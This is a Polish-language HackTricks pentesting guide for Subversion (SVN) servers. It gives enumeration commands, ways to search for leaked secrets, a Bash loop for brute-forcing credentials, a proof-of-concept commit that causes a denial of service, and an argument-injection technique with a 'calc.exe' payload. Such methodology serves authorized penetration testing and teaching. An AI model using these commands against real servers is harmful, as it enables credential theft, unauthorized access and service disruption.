3690/tcp - Pentesting serwera Subversion (SVN)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Subversion (SVN) to scentralizowany system kontroli wersji (licencja Apache) używany do wersjonowania oprogramowania i kontroli rewizji.

Domyślny port: 3690/tcp (svnserve). Może być też udostępniany przez HTTP/HTTPS za pomocą mod_dav_svn oraz przez svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeracja

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf może pozwalać na anon-access = read (a nawet write). Jeśli możesz listować, spróbuj checkout, aby zrzucić sekrety, skrypty i tokeny CI.
  • Repozytoria często przechowują build pipelines, deployment keys i database credentials w wersjonowanych plikach konfiguracyjnych. Przeszukaj working copy po checkout: grep -R "password\|secret\|token" -n ..
  • Jeśli svn+ssh jest włączony, powłoki użytkowników często pozwalają na ograniczone polecenia svnserve; spróbuj ssh user@host svnserve -t z przygotowanymi podpoleceniami, by obejść wrappery.

Bruteforcing credentials (svnserve)

sasl authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Krótka pętla w Bashu może przetestować poświadczenia:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Najnowsze podatności (praktyczny wpływ)

mod_dav_svn DoS przez znaki sterujące (CVE-2024-46901)

  • Użytkownik z commit rights może zapisać ścieżkę zawierającą znaki sterujące (np. \x01, \x7f), które uszkadzają repozytorium, powodując, że późniejsze checkouts/logs zawodzą i potencjalnie powodując crash workerów mod_dav_svn.
  • Dotyczy Subversion ≤ 1.14.4 gdy serwowane przez HTTP(S) (mod_dav_svn). Naprawione w 1.14.5.
  • PoC commit z użyciem svnmucc (wymaga ważnych commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Po commicie normalni klienci mogą się zawiesić lub odmówić aktualizacji, dopóki administratorzy nie usuną ręcznie rewizji za pomocą svnadmin dump/filter/load.

Windows argument injection w kliencie svn (CVE-2024-45720)

  • W systemie Windows “best-fit” character encoding w svn.exe pozwala na command-line argument injection podczas przetwarzania specjalnie spreparowanych ścieżek/URL-i nie‑ASCII, co potencjalnie może prowadzić do wykonania dowolnego programu.
  • Dotyczy Subversion ≤ 1.14.3 tylko na Windows; naprawione w 1.14.4. Powierzchnia ataku: phishing dewelopera, aby uruchomił svn na URL/ścieżce kontrolowanej przez atakującego.
  • Pentest angle: jeśli kontrolujesz udział sieciowy lub ZIP przekazany deweloperowi Windows, nazwij URL repo lub ścieżkę working-copy zawierającą best-fit bytes, które dekodują się do " & calc.exe & "-stylu wstrzykniętych argumentów, a następnie nakłoń ofiarę do uruchomienia svn status lub podobnego polecenia na tej ścieżce.

Uwagi dotyczące Exploitation Workflow

  1. Sprawdź metodę dostępu: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), lub svn+ssh://.
  2. Try anonymous read najpierw; następnie spray common creds. Jeśli używany jest HTTP Basic, reuse creds znalezione gdzie indziej.
  3. Enumerate hooks: hooks/pre-commit, post-commit — skrypty czasami zawierają plaintext credentials lub hostnames.
  4. Leverage svn:externals aby pobrać dodatkowe ścieżki z innych hostów; wypisz je za pomocą svn propget svn:externals -R . po checkout.
  5. Version leaks: nagłówki odpowiedzi HTTP z mod_dav_svn zwykle pokazują wersję Subversion i Apache; porównaj z 1.14.5, aby zidentyfikować podatne cele.
  6. Jeśli uzyskasz dostęp do systemu plików repo, svnadmin dump/svnlook author/svnlook dirs-changed pozwalają na analizę offline bez poświadczeń.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks